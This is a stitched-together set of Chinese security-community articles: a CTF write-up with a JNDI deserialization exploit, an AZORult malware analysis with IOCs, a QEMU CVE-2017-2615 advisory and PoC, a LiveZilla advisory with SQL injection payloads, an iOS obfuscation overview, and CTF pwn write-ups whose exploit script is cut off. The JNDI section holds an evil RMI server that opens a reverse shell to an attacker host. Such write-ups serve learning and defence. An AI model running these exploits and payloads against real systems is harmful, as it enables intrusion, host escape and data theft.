}
Devtools提供的接口访问是需要secret字段进行校验的，如图中HTTP的header中X-AUTH-TOKEN部分，然而根据调查发现这个secret默认是`myscret`，并且大部分的开发者容易忘记。在这里的环境中，secret通过上面的文件读取已经拿到了，因此后面的步骤就是构造反序列化链达到RCE。
### 0x04 JDK8u265
目标的JDK环境是8u265，是高版本的JDK，因此一些常规的反序列化链不能用。关于高版本JDK的JNDI注入，已经有前辈进行了比较系统的介绍和总结，例如：
1、https://www.cnblogs.com/tr1ple/p/12335098.html#AjhQfy4m
2、https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
3、https://aluvion.gitee.io/2020/05/09/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%AD%E7%9A%84RMI%E3%80%81JRMP%E3%80%81JNDI%E3%80%81LDAP/#JNDI-%E6%B3%A8%E5%85%A5
4、https://paper.seebug.org/942/#classreference-factory
5、http://m0d9.me/2020/07/11/JNDI%EF%BC%9AJNDI-RMI%20%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87JDK%E9%AB%98%E7%89%88%E6%9C%AC%E9%99%90%E5%88%B6%EF%BC%88%E4%B8%89%EF%BC%89/
观察提供的Jar中的依赖环境，可以看到`tomcat-embed-core9.0.37`和`spring-tx-5.2.8`，因此高版本JDK的JNDI注入是可行的，能够利用spring-tx中的`org.springframework.transaction.jta.JtaTransactionManager`来触发lookup进而访问恶意的RMI注册中心来调用本地Factory加载`tomcat-embed-core9.0.37`中的链，通过Java8中自带的`ELProcessor`来执行任意命令。构造如下：
// 恶意RMI注册服务
public class rmi {
public static void main(String[] args) throws Exception {
// 在攻击者的RMI服务端通过代码明确指定远程对象通信Host IP，否则RMI通信有些问题
System.setProperty("java.rmi.server.hostname", "10.10.0.2");
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/bin/bash -i >& /dev/tcp/attackerip/7890 0>&1']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
// 序列化构造的spring-tx攻击类
public class poc implements Serializable {
public static void main(String[] args) throws Exception {
String jndiAddress = "rmi://10.10.0.2:1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
// 序列化并写入文件
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("expObject"));
objectOutputStream.writeObject(object);
objectOutputStream.close();
}
}
将序列化生成的数据发送给Devtools的接口后能够在监听的服务器拿到shell：
### 0x05 总结
本文主要通过对一道CTF题的记录，对URLConnection中可能的SSRF绕过和针对Devtools进行高版本JDK的JNDI注入技术进行了介绍，特别是Devtools的反序列化，这个知识点还没有看到有更多的文章有相关介绍。本文对JDK高版本的绕过利用没有展开，因为之前已经有很多优秀的文章，感兴趣的读者可以选择上述列出的文章地址继续了解。最后，感谢阅读。 | 社区文章 |
# 针对信息窃取恶意软件AZORult的分析
|
##### 译文声明
本文是翻译文章，文章来源：https://blog.minerva-labs.com/
原文地址：<https://blog.minerva-labs.com/analyzing-an-azorult-attack-evasion-in-a-cloak-of-multiple-layers>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
AZORult是一种信息窃取的恶意软件，随着时间的推移已经发展成为一种多层功能的软件,我们知道达尔文的自然选择进化理论已有150多年的历史，但进化也可能由于人工选择的结果（也称为选择性育种）。在我们的信息安全领域，同样的生物学原理适用于恶意软件的进化。攻击者经常检查他们攻击性工具的具体特征与其生存能力的相关性，并通过“基因工程”恶意软件来改善其功能。在接下来的文章中，我们将介绍一个信息窃取恶意软件的特性。每一层隐藏的功能的都是其“饲养者”精心挑选的，以提高其在野外生存的可能性。
## 分析攻击
上周，我们阻止了一个客户网站的攻击。这是一个名为`“Quotation Request –
EP”`的经典恶意邮件。它是从一家非洲能源公司的电子邮件帐户发出的，它含有恶意附件。它是一个包含两个文件的RAR存档 –
一个文本文件和一个带有[DDE对象](https://blog.minerva-labs.com/prevented-by-minerva-labs-new-evasive-malware-technique-exploits-microsoft-dynamic-exchange)的Microsoft
Word文档。一旦打开，它会从受感染的网站下载一个MSI文件：
该文件是使用名为`msi2exe`工具从常规可执行文件创建的安装程序，它将“普通”恶意Windows可执行文件作为安装程序进行包装。这只是众多隐藏这段恶意代码手段的第一层。
为了获取和分析可执行文件，我将使用7-Zip提取它，将MSI作为归档文件打开:
在我们分析发现，罪魁祸首是名为`Binary._D7D112F049BA1A655B5D9A1D0702DEE5`的资源，这是一个包含在MSI中的正常Windows可执行文件。在使用[PEStudio](https://www.winitor.com/)仔细查看文件时，我们发现情况并非如此：
事实证明，这是一个编译的AutoIt脚本 –
另一层包装实际的payload。用[Exe2Aut](http://domoticx.com/autoit3-decompiler-exe2aut/)可以将其反编译可执行文件。但是，反编译的脚本仍然是混淆的：
结果发现，混淆并不是太复杂，主要依赖于单个字符串混淆函数。我们写了一个用于反混淆的Python脚本，可以点击以下链接获取：
<https://github.com/MinervaLabsResearch/BlogPosts/blob/master/ObfuscatedAutoItDecrypter/AutoIt_dec.py>
现在可以查看脚本并重命名变量：
看看这个混淆的脚本，现在很清楚看到，在AutoIt中运用了一个经典`process hollowing`技术：
* 恶意软件创建原始进程的第二个暂停实例：
* 它分配可写，可执行的内存：
* 该脚本将它希望执行的payload写入远程进程：
* 在攻击的下一阶段位于远程进程的内存之后，恶意软件将主线程的状态设置为运行注入的代码并恢复进程的执行：
注入的payload本身使用与字符串相同的例程进行混淆，因此在执行我们的反混淆脚本之后，可以直接观察它：
第一对字节4D和5A是ASCII字符串MZ –
Windows可执行文件开头的魔术字符串。这是一个强有力的指示，表明注入的缓冲区是另一个payload（！），并且使用另一个Python脚本转储它，事实证明确实如此。尽管头部分损坏，但仍有可能使用PEstudio仔细查看二进制文件。令人惊讶的是，事实证明，攻击者并不认为到目前为止使用的所有不同技术都已足够，所以又用UPX压缩了文件，使其更加隐藏：
由于PE已损坏，因此无法自行执行，但无需这样做。即使在UPX压缩形式下，我们也发现了这样一个事实的证据，即这是隐藏payload的最后一层，并没有修复它的结构。使用十六进制编辑器观察文件显示了多个字符串，表明其目标是窃取存储在浏览器中的密码:
快速Google搜索验证了这是用于窃取存储在`Google Chrome`中的凭据的常见SQL查询的一部分：
嗅嗅恶意软件的网络活动证明了恶意软件的功能，因为它首先向C2服务器发出指令，然后接收到窃取密码的指令并将其发送回去
在更深入的探索之后，研究团队追踪了一位创造几乎相同paylaod的作者。这使我们能够将注入的payload作为非损坏的二进制文件，验证我们的分析结论。例如，现在我们能够观察到相同的SQL查询，以提取存储在Google
Chrome中的密码以及其他类似的技术：
正如我们的友好恶意软件研究社区指出的那样，这个payload最终被证明是AZORult——一个众所周知的窃取信息的恶意软件，它至少从2016年开始在不同的论坛上出售。
## 实践中的人工选择
这个活动中包装的`AZORult`恶意软件采用了六种技术来逃避检测，展示了它的创建者如何通过反复尝试和错误的方式选择“繁殖”它们：
### 使用RAR归档
该文件在发送时作为压缩文件存档进行打包，试图克服对“危险”文件类型附件的静态扫描和限制。
### 多个图层
使用多个图层隐藏最终的信息窃取功能可能会欺骗一些安全产品，使其看起来不够`“deep enough”`，而其他安全产品则无法理解每个图层的上下文。
### 使用MSI文件来释放payload
令人惊讶的是，许多机器学习防病毒解决方案忽略了这种文件类型。但是，有些供应商在后期检测到该文件，因为二进制payload被保存到临时文件夹中，但在其他情况下，它可能不那么简单并且可能会被忽略。
### AutoIt
使用非常规脚本语言进行模糊处理和编译，会生成一个二进制文件，与传统的C C ++可执行文件明显不同。在文件中寻找模式的产品本身会发现更难以检测到恶意软件。
### 注入代码
这种恶意软件会在内存中解密其有效内容，并且仅在使用了几层迷惑技巧之后。
### DDE
攻击者不再依赖旧的VBA宏，而是利用了DDE的`“feature”`
——允许他们将有效载荷嵌入不太可疑的docx格式，因为宏只能以doc或docm格式使用。
我们能够追踪之前的尝试，从相同的参与者展示他们经过的人工选择过程，提炼他们最新的最终幸存者。例如，早期的变体选择了SCR扩展而不是MSI。在另一种情况下，交付机制是不同的，并且依赖于一个链接来直接从受损的网站下载受感染的docx文件。
> IOC
> URLs
> hxxp://ipool[.]by/bitrix/css/8/DOC71574662-QUOTATION[.]doc
> hxxp://ipool[.]by/bitrix/css/8/aksu[.]msi
> hxxp://www[.]sckm[.]Krakow[.]pl/aksu[.]msi
> hxxp://aksuperstore[.]com/fh8nzhme/gate[.]php
> Files (SHA-256)
> Analyzed DDE docx:
> ac342e80cbdff7680b5b7790cc799e2f05be60e241c23b95262383fd694f5a7a
> Analyzed MSI Installer:
> e7a842f67813a47bece678a1a5848b4722f737498303fafc7786de9a81d53d06
> Unzipped executable:
> 717db128de25eec80523b36bfaf506f5421b0072795f518177a5e84d1dde2ef7
> Decompiled obfuscated AutoIt:
> 31f807ddfc479e40d4d646ff859d05ab29848d21dee021fa7b8523d2d9de5edd
> Deobfuscated AutoIt:
> b074be8b1078c66106844b6363ff19226a6f94ce0d1d4dd55077cc30dd7819c5
> Similar DDE document downloaded directly from a compromised website:
> dc3fac021fae581bf086db6b49f698f0adc80ebe7ca7a28e80c785673065a127
> The builder (Trojanized):
> 329030c400932d06642f9dbc5be71c59588f02d27d9f3823afa75df93407027b
> Similar MSI installers:
> efa6af034648f8e08098ea56445ccab1af67376ca45723735602f9bdd59e5b5d
> 9d7a10fa3e5fd2250e717d359fcff881d9591e0fe17795bab7aac747e8514247
> dc3fac021fae581bf086db6b49f698f0adc80ebe7ca7a28e80c785673065a127 | 社区文章 |
# 【漏洞预警】比“毒液”更恐怖！QEMU再曝高危漏洞(更新PoC)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞描述**
近期QEMU官方修复了由360GearTeam研究员李强报告的一个严重漏洞CVE-2017-2615，这是QEMU的VGA设备Cirrus CLGD
54xx VGA中存在一个内存越界访问读写漏洞，可以造成宿主机层面的任意代码执行，Xen官方对此漏洞编号为XSA-208。
QEMU是全球流行的开源虚拟化软件。黑客攻击者一旦利用QEMU漏洞控制宿主机，除了利用宿主机强大的性能，可以进行比特币挖矿、密码暴力破解，还可窃取宿主机所有的虚拟机数据甚至进一步的云平台内部横向攻击，危害非常严重。
由于历史原因及软件兼容性的考虑，很长一段时间QEMU的默认VGA设备是Cirrus CLGD 54xx
VGA。使用QEMU作为用户态模拟的虚拟化软件如KVM，Xen(HVM模式)的VGA也默认是Cirrus，所以该漏洞会影响到使用KVM及Xen的云平台。
经过实际的版本比对分析，国内主流的公有云平台受到此漏洞影响，应尽快执行升级修复，目前已经有相关受影响公有云平台启动了修复计划。
**漏洞检测**
由于该漏洞存在于cirrus
vga的模拟中，可以在guest中直接执行lspci（相关的软件包是pciutils）查看vga是否是cirrus，如果是则存在该漏洞，如下图：
**修复方案**
经过360GearTeam安全团队的分析，建议参考以下任一策略进行修复。
1\. 自行更新QEMU版本或更新对补丁进行修复
补丁链接： <https://lists.gnu.org/archive/html/qemu-devel/2017-02/msg00015.html>
2\. 修改启动虚拟机相关选项，不使用cirrus vga，改用std vga或者virtio vga
事实上，cirrus vga是90年代早期的设备，存在各种bug和安全问题。详细可以参考qemu vga的维护者Gerd
Hoffmann的这篇文章qemu: using cirrus considered
harmful(<https://www.kraxel.org/blog/2014/10/qemu-using-cirrus-considered-harmful/> )。在qemu的upstream中，已经准备放弃cirrus显卡模拟。
**漏洞细节**
该漏洞存在于Cirrus VGA的bitblt操作中，bitblt是bit block
transfer的缩写。在VGA模拟中，会分配一段内存vram作为VGA的显示区域，进行bitblt的拷贝操作时，会在这个内存区域中进行数据的拷贝与传输。
该漏洞即发生在向后拷贝的安全检查中，直接看补丁。
在补丁中，pitch <
0时，表示是从vram的后面往前面拷贝数据，min表示的是前面的起始位置。未打补丁之前，会允许读写vram的前面部分，这可能导致读host的信息，也可能导致代码执行，造成宿主机层面代码任意执行。
运行PoC（漏洞验证代码）之后，在宿主机可以看到QEMU处于一个不正常的状态。
**更新PoC**
/*
* CVE-2017-2615 PoC
*
* Qiang Li of the Gear Team, Qihoo 360 Inc.
*
* #gcc poc.c -o poc
* #./poc
*
*/
#include <sys/io.h>
#include <stdio.h>
void write_sr(int idx,int val)
{
outb(idx,0x3c4);
outb(val,0x3c5);
}
void write_gr(int idx,int val)
{
outb(idx,0x3ce);
outb(val,0x3cf);
}
int main()
{
iopl(3);
write_sr(0x07,1);
write_gr(0x31,0x80);
write_gr(0x26,0xff);
write_gr(0x27,0xff);
write_gr(0x24,1);
write_gr(0x20,0xff);
write_gr(0x21,0xff);
write_gr(0x22,0x0);
write_gr(0x23,0x0);
write_gr(0x28,0);
write_gr(0x29,0);
write_gr(0x2a,0);
write_gr(0x2c,0xff);
write_gr(0x2d,0xff);
write_gr(0x2e,0xff);
write_gr(0x30,1);
write_gr(0x2a,0);
return 0;
}
**关于360GearTeam**
360 Gear
Team是360公司一支专注于云安全与互联网核心开源组件安全研究的新锐团队，2016年获QEMU、Xen、VirtualBox、Docker等虚拟化软件致谢67次，以及OpenSSL、NTP、Firefox等重要开源项目致谢49次，成立不到一年就荣获了上百次漏洞报告致谢。团队在保卫360自身内部业务的同时，也在守护互联网的安全。 | 社区文章 |
在2019年6月，Fortinet的FortiGuard实验室发现了LiveZilla的Live
Chat中的7个漏洞，并进行了相关报告撰写。LiveZilla是一家拥有众多财富500强企业和顶尖大学用户的软件公司，拥有超过15,000名用户。
我们可以在8.0.1.0及更低版本中找到这些漏洞。 在撰写此博客时，这些问题已得到修复，并且供应商已发布了这些漏洞的修复程序。 FortiGuard
Labs对供应商的快速响应和及时修复表示赞赏。
以下是漏洞的摘要：
1. [LiveZilla Server before 8.0.1.1 is vulnerable to SQL Injection in server.php via the p_ext_rse parameter](https://fortiguard.com/zeroday/FG-VD-19-082)
2. [LiveZilla Server before 8.0.1.1 is vulnerable to XSS in mobile/index.php via the Accept-Language HTTP header](https://fortiguard.com/zeroday/FG-VD-19-083)
3. [LiveZilla Server before 8.0.1.1 is vulnerable to Denial of Service (memory consumption) in knowledgebase.php via a large integer value of the depth parameter](https://fortiguard.com/zeroday/FG-VD-19-084)
4. [LiveZilla Server before 8.0.1.2 is vulnerable to XSS in the chat.php Create Ticket Action](https://fortiguard.com/zeroday/FG-VD-19-085)
5. [LiveZilla Server before 8.0.1.1 is vulnerable to SQL Injection in functions.internal.build.inc.php via the parameter p_dt_s_d](https://fortiguard.com/zeroday/FG-VD-19-086).
6. [LiveZilla Server before 8.0.1.1 is vulnerable to XSS in the ticket.php Subject](https://fortiguard.com/zeroday/FG-VD-19-087)
7. [LiveZilla Server before 8.0.1.1 is vulnerable to CSV Injection in the Export Function](https://fortiguard.com/zeroday/FG-VD-19-088)
### 漏洞细节
#### 1\. FG-VD-19-082 8.0.1.1之前的LiveZilla
Server通过p_ext_rse参数进行server.php的SQL注入攻击
在审核`\livezilla\server.php`中的源代码文件时，第76行处表示server.php将导入intern.php文件。
当我们查看`\livezilla\intern.php`时，我们看到它在第29行调用类`OperatorRequest`的`Listen()`方法。该类派生自`\livezilla\_lib\objects.internal.inc.php`。
正如我们在图中看到的，它然后在第302行调用同一类中的`Build()`方法：
深入研究`Build()`，第405行处我们可以看到它调用了`buildResources()`：
正如在图5中的第59行所见，它执行以下SQL查询：
在列表中，使用`DBManager::RealEscape`过滤器函数清理参数以避免SQL注入。 然而，这里缺少对引用清理，这使得过滤功能变得无效。
因此，我们只需要在SQL查询中输入没有任何引号的值，以便利用此漏洞。
`$_POST[POST_INTERN_XMLCLIP_RESOURCES_END_TIME])`被定义在`\livezilla\_definitions\definitions.protocol.inc.php`中：
因此，该漏洞的最终payload如下所示：
* p_ext_rse=(select*from(select(if((substr(123,1,1) like 1),2,sleep(5))))a)
* p_ext_rse=(select*from(select(if((substr(123,1,1) like 2),2,sleep(5))))a)
图7显示了供应商提供的补丁情况：
#### 2\. LiveZilla Server通过Accept-Language HTTP头受到mobile/index.php中的XSS攻击
在分析第84行的`\livezilla\mobile\index.php`中的源代码文件时，我们发现服务器在没有进行清理的情况下回应了`$language`，这可能导致跨站点脚本（XSS）漏洞。
`$language`的值取自`$ _SERVER ['HTTP_ACCEPT_LANGUAGE']`，这是HTTP请求标头中的Accept-Language字段。
通过使用`Man-in-The-Middle（MiTM）`攻击方法，或者任何扩展来修改标头，攻击者可以在用户的浏览器中运行javascript代码。
图10显示了供应商提供的补丁：
#### 3.FG-VD-19-084 LiveZilla Server很容易受到knowledgebase.php中的拒绝服务的影响
这个拒绝服务被发现在`\livezilla\knowledgebase.php`，第39到51行：
第39行的条件结构确定是否打开了搜索引擎优URL选项。 如果是，则查找GET参数深度，然后对其值执行基于循环的操作，该操作可由攻击者控制。
换句话说，如果我们提供输入，比如`“？depth = 2200000”`，它将循环2200000次。
正如我们在图11中的第46-47行所示，循环指令将字符串`“../”`连接到`$path`变量中，这可能导致内存溢出。
图12显示了供应商提供的补丁：
#### 4\. LiveZilla Server在chat.php创建故障单操作中容易受到XSS攻击
这是另一个可以从Guest Live Chat窗口触发的XSS漏洞。 攻击者可以在实时聊天中输入XSS的payload。
在管理面板中，如果管理员在聊天窗口中创建了一个故障单，则该聊天内容将呈现为一个新的聊天记录弹出窗口而不进行清理，这可能导致在用户的浏览器中执行任意javascript。
在验证供应商的补丁后，我们意识到版本8.0.1.1中的补丁不完整。
我们通知了开发人员，并为他们提供了可以绕过8.0.1.1版补丁的额外payload，他们为此问题提供了完整的解决方案。
图15显示了供应商版本8.0.1.2中的补丁：
#### 5\. LiveZilla
Server很容易通过参数p_dt_s_d在functions.internal.build.inc.php中进行SQL注入
另一个SQL注入漏洞可以在 \livezilla_lib\functions.internal.build.inc.php,中的第596到605行找到。
服务器确定参数`p_dt_s_d`是否通过POST HTTP请求发送，然后将其值直接输入到查询而不清除该值。 这导致了经典的SQL注入。
图17和18显示了供应商提供的补丁：
#### 6\. LiveZilla Server易受ticket.php中的XSS攻击
在第109行的`\livezilla\ticket.php`中发现了另一个XSS。对于此漏洞，服务器使用我们制作的内容替换了`$subject`持有者，而没有进行适当的清理。
图21显示了供应商提供的补丁：
#### 7\. LiveZilla Server易受导出功能中的CSV注入攻击
我们还在源代码文件`\livezilla\_lib\functions.internal.man.inc.php`中发现了逗号分隔值（CSV）文件注入。
从图22中的第736行到第744行，我们可以看到服务器尝试以CSV格式导出数据而不进行清理。
图23显示了供应商提供的补丁：
### 漏洞发现时间点
2019年6月22日：Fortinet向LiveZilla报告了FG-VD-19-082和FG-VD-19-084的漏洞
2019年6月24日：Fortinet报告了漏洞FG-VD-19-086
2019年6月25日：Fortinet向LiveZilla报告了FG-VD-19-083，FG-VD-19-085，FG-VD-19-087和FG-VD-19-088的漏洞
2019年6月26日：LiveZilla确认了漏洞，发布了针对这些漏洞的补丁
2019年6月27日：Fortinet确认了这些漏洞的修复，但FG-VD-19-085除外
2019年7月1日：LiveZilla确认FG-VD-19-085的修复不正确，等待8.0.1.2版本
2019年7月23日：LiveZilla发布了8.0.1.2补丁漏洞，Fortinet确认修复了FG-VD-19-085
### 结论
总之，所有这些漏洞的根本原因是缺乏简单的输入清理。 因此，FortiGuard Labs在LiveZilla Live
Chat软件中发现了多个漏洞，范围从中等严重级到严重级。
Live
Chat用户立即应用LiveZilla提供的修补程序至关重要，因为某些漏洞（例如启用SQL注入的漏洞）将允许攻击者在成功利用后从数据库中提取机密信息。
本文为翻译稿件，来自：https://www.fortinet.com/blog/threat-research/livezilla-live-chat-technical-advisory.html | 社区文章 |
众所周知的是大部分iOS代码一般不会做加密加固，因为iOS
APP一般是通过AppStore发布的，而且苹果的系统难以攻破，所以在iOS里做代码加固一般是一件出力不讨好的事情。万事皆有例外，不管iOS、adr还是js，加密的目的是为了代码的安全性，虽然现在开源畅行，但是不管个人开发者还是大厂皆有保护代码安全的需求，所以iOS代码加固有了生存的土壤。下面简单介绍下iOS代码加密的几种方式。
iOS代码加密的几种方式
1.字符串加密
字符串会暴露APP的很多关键信息，攻击者可以根据从界面获取的字符串，快速找到相关逻辑的处理函数，从而进行分析破解。加密字符串可以增加攻击者阅读代码的难度以及根据字符串静态搜索的难度。
一般的处理方式是对需要加密的字符串加密，并保存加密后的数据，再在使用字符串的地方插入解密算法。简单的加密算法可以把NSString转为byte或者NSData的方式，还可以把字符串放到后端来返回，尽量少的暴露页面信息。下面举个简单例子，把NSString转为16进制的字符串：
2.符号混淆
符号混淆的中心思想是将类名、方法名、变量名替换为无意义符号，提高应用安全性；防止敏感符号被class-dump工具提取，防止IDA
Pro等工具反编译后分析业务代码。目前市面上的IOS应用基本上是没有使用类名方法名混淆的。
a. 别名
在编写代码的时候直接用别名可能是最简单的一种方式，也是比较管用的一种方式。因为你的app被破解后，假如很容易就能从你的类名中寻找到蛛丝马迹，那离hook只是一步之遥，之前微信抢红包的插件应该就是用hook的方式执行的。
b.C重写
编写别名的方式不是很易读，而且也不利于后续维护，这时你可能需要升级一下你的保护方式，用C来重写你的代码吧。这样把函数名隐藏在结构体中，用函数指针成员的形式存储，编译后，只留下了地址，去掉了名字和参数表，让他们无从下手(copy
from 念茜)。如下例子：
c.脚本处理
稍微高级一点的是脚本扫描处理替换代码，因为要用到linux命令来编写脚本，可能会有一点门槛，不过学了之后你就可以出去吹嘘你全栈工程师的名头啦。。。
linux脚本比较常用的几个命令如下：
脚本混淆替换是用上述几个命令扫描出来需要替换的字符串，比如方法名，类名，变量名，并做替换，如果你能熟练应用上述几个命令，恭喜你，已经了解了脚本的一点皮毛了。
如以下脚本搜索遍历了代码目录下的需要混淆的关键字：
替换的方式可以直接扫描文件并对文件中的所有内容替换，也可以采用define的方式定义别名。例如：
d.开源项目ios-class-guard
该项目是基于class-dump的扩展，和脚本处理类似，是用class-dump扫描出编译后的类名、方法名、属性名等并做替换，只是不支持隐式C方法的替换，有兴趣的同学可以使用下。
3.代码逻辑混淆
代码逻辑混淆有以下几个方面的含义：
对方法体进行混淆，保证源码被逆向后该部分的代码有很大的迷惑性，因为有一些垃圾代码的存在；
对应用程序逻辑结构进行打乱混排，保证源码可读性降到最低，这很容易把破解者带到沟里去；
它拥有和原始的代码一样的功能，这是最最关键的。
一般使用obfuscator-llvm来做代码逻辑混淆，或许会对该开源工具做个简单介绍。
4.加固SDKadr中一般比较常见的加固等操作，iOS也有一些第三方提供这样的服务，但是没有真正使用过，不知道效果如何。当然还有一些第三方服务的加固产品，基本上都是采用了以上一种或几种混淆方式做的封装，如果想要直接可以拿来使用的服务，可以采用下，常用的一些服务如下：几维安全
iOS加密可能市场很小，但是存在必有道理，在越狱/开源/极客的眼中，你的APP并没有你想像的那么安全，如果希望你的代码更加安全，就应给iOS代码加密。 | 社区文章 |
# 华为三场CTF部分Pwn题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
华为3场CTF的pwn题，题量都特别大，同时有很多异构Pwn，对于学习异构很有帮助。
## 第一场
### cpp
#### 程序分析
c++写得，不是很复杂，算是C++中的简单题。
if ( v11[0] != 1 )
break;
std::operator<<<std::char_traits<char>>(&std::cout, &out);
std::istream::_M_extract<unsigned long>(&std::cin, v11);
if ( v11[0] <= 0xFFuLL ) // delete_chunk && show
{
chunk_addr2 = (void **)((char *)&chunk_list + 8 * v11[0]);
old_chunk2 = *chunk_addr2;
*chunk_addr2 = 0LL;
if ( old_chunk2 )
{
operator delete[](old_chunk2);
puts((const char *)old_chunk2);
std::operator<<<std::char_traits<char>>(&std::cout, &out);
get_input(old_chunk2, 8LL); // UAF
}
}
漏洞很明显，在程序最后存在一个UAF输出函数可以供我们泄露地址，最后还存在一个读函数，可以让我们释放后修改堆内容。
虽然是 2.31的环境，但是影响不大。
#### 利用分析
思路很常规，先通过tcache泄露堆地址。
然后先填充tcache_bin的个数为7，劫持tache_struct_perthread这个结构体，申请0x291的堆块，释放到unsortedbin来泄露地址。
最后tcache_poisoning 攻击劫持 free_hook。
#### EXP
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])
filename = './chall'
debug = 1
if debug == 1:
p = process(filename)
elf =ELF(filename)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def Add(content, idx):
p.sendlineafter('> ', '0')
p.sendafter('> ', content)
p.sendlineafter('> ', str(idx))
def Delete(idx, content):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', str(idx))
p.sendafter('> ', content)
def Delete2(idx):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', str(idx))
def Pwn():
for i in range(2):
Add('a'*7, i)
Add('a'*7, 7)
Add('a'*7, 8)
gdb.attach(p, 'bp $rebase(0x14f8)')
Delete(1, 'a'*7)
Delete2(0)
heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
print('heap_addr:',hex(heap_addr))
payload = p64(heap_addr-0x11ed0+0x58)
#print('heap_struct:',hex(payload))
p.sendafter('> ', payload[:7])
Add('a'*7, 1)
print("tcache_struct attack")
payload = b'\x07\x00'*3+'\x07'
Add(payload, 2)
for i in range(3,5):
Add('a'*7, i)
Delete(4, 'a'*7)
payload = p64(heap_addr-0x11ed0+0x10)
Delete(3, payload[:7])
Add('a'*7, 5)
#tcache_struct
Add('a'*7, 6)
Delete2(6)
libc_addr = u64(p.recvuntil('\n', drop=True).ljust(8, '\x00'))
libc_base = libc_addr - 96 - 0x10 - libc.sym['__malloc_hook']
print('libc_base:',hex(libc_base))
free_hook = libc.sym['__free_hook']+libc_base
system_addr = libc.sym['system']+libc_base
print('system:',hex(system_addr))
p.sendafter('> ', '\x00'*7)
Delete(7, 'a'*7)
Delete2(8)
payload = p64(free_hook)
p.sendafter('> ', payload[:7])
Add(b'/bin/sh', 9)
#free_hook
payload = p64(system_addr)
Add(payload[:7], 10)
Delete(9, 'a'*7)
p.interactive()
Pwn()
### game
这道题难点，在于如何进入read的栈溢出，由于每次程序传输的表达式都是变化的，需要我们自动化的写一个能够进入read函数的代码。那么很自然的想到符号执行的经典工具：angr，这里就不放angr代码了。
#### 程序分析
__int64 __fastcall sub_4006F9(int a1)
{
int v2; // [rsp+Ch] [rbp-1C4h] BYREF
char buf[440]; // [rsp+10h] [rbp-1C0h] BYREF
unsigned __int8 *v4; // [rsp+1C8h] [rbp-8h]
v2 = a1;
v4 = (unsigned __int8 *)&v2;
if ( 9170 * BYTE1(a1) * (a1 & 0x8C)
|| 64437 % v4[2] + 60157 / v4[2] != 633
|| (54606 - v4[2]) * (58781 - v4[1]) != -1105261920
|| 33721 / *v4 - 36925 / v4[3] != 1082 )
{
return 0LL;
}
read(0, buf, 0x331uLL);
return 1LL;
}
如果就单静态程序分析来说，这里存在一个很明显的栈溢出，而且溢出长度很大。
#### 利用分析
这道题，和前不久的蓝帽杯决赛的pwn3很类似，都是明显的栈溢出。但是那道Pwn3当时用的投机做法，直接用 高位地址做滑板指令修改
libc_start_main地址为 gadget地址。需要靠运气爆破，成功几率并不高。
这道题，当时xmzyshyphc学长给我说了一个方法，即 修改 got表里的一个函数地址为 syscall地址。然后利用 libc_csu和
syscall来实现函数调用。
但这里，有几个小技巧：
如何选取syscall地址：
建议选择函数内部调用了syscall的got表地址，这样我们就只需要覆写最低位的一字节偏移或一位偏移，成功率极高。
► 0x7ffff7ad9280 <alarm> mov eax, 0x25
0x7ffff7ad9285 <alarm+5> syscall
0x7ffff7ad9287 <alarm+7> cmp rax, -0xfff
0x7ffff7ad928d <alarm+13> jae alarm+16 <alarm+16>
如上所示，alarm函数 +5处 即是一个 syscall。那么我们选择将 alarm_got 的最低一字节改为 0x85即可。
如何getshell：
由于有了syscall和 csu，我们可以直接先考虑能不能找到一个 pop rax, ret的
gadget，这样我们后续就能够不用泄露libc地址，直接调用 system。但是没有合适的 pop rax, ret。这里的技巧为，当我们使用
read读取 /bin/sh到 bss段上时，我们可以在后面填充到 59个字符，这样read函数返回值为rax= 59，这样我们如果接着执行
syscall，那么就能够直接执行 execve函数。
#### EXP
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])
filename = "./pwn-1"
debug = 1
if debug == 1:
p = process(['./pwn-1', '611252752'])
elf = ELF(filename)
libc = ('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('')
elf = ELF(filename)
libc = ('/lib/x86_64-linux-gnu/libc.so.6')
csu_end_addr = 0x4008ca
csu_front_addr = 0x4008b0
fakeebp = 0xdeadbeef
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x1c0 + p64(fakeebp)
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
return payload
def csu2(rbx, rbp, r12, r13, r14, r15, last):
payload = p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
return payload
def csu3(rbx, rbp, r12, r13, r14, r15, last):
